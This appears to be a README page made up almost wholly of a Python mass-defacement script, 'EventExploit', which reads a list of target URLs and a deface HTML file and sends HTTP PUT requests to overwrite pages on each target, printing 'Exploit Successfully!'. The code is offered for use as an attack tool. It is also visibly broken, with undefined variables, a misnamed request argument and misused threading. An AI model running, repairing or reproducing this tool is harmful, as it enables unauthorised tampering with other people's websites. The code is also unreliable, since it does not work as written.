README.md
Rendering markdown...
import os
import sys
import requests
import threading
import socket
"""
urls = ()
"""
class EventExploit:
def __init__(self, archivet, defaceh):
self.archivet = archivet
self.defaceh = defaceh
pass
def req(self, html_content):
try:
self.var = requests.put(archivetargets, data=html_content, header={'Content-Type: ': 'text/html'})
except Exception as err:
print(err)
finally:
pass
with open(archivetargets, "r") as self.list:
for self.line in self.list:
self.line_stripped = self.line.strip()
if self.line_stripped:
archivetargets.append(self.line_stripped)
self.list.close()
with open(defacehtml, "r") as self.deface_file:
self.html_content = self.deface_file.read()
self.deface_file.close()
print("""
░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░░▒▓████████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓██████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░
░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░░▒▓█▓▒░day \n""")
try:
try:
archivetargets = input("Give me a .TXT: ")
except FileNotFoundError as error1:
print("[-] arquivo não encontrado")
try:
defacehtml = input("Give me a your deface.HTML: ")
except FileNotFoundError as error2:
print("[-] deface não encontrada")
event = EventExploit(archivetargets, defacehtml)
event.req(html_content=str)
if event.req(html_content=str):
threading.Thread(target=event.req(html_content=str)).start()
print("[+] Exploit Successfully!")
else:
print("[-] Ocorreu um erro!")
threading.Thread(target=event.req(html_content=str)).start()
except KeyboardInterrupt:
print("\n [>] Bye!")
sys.exit()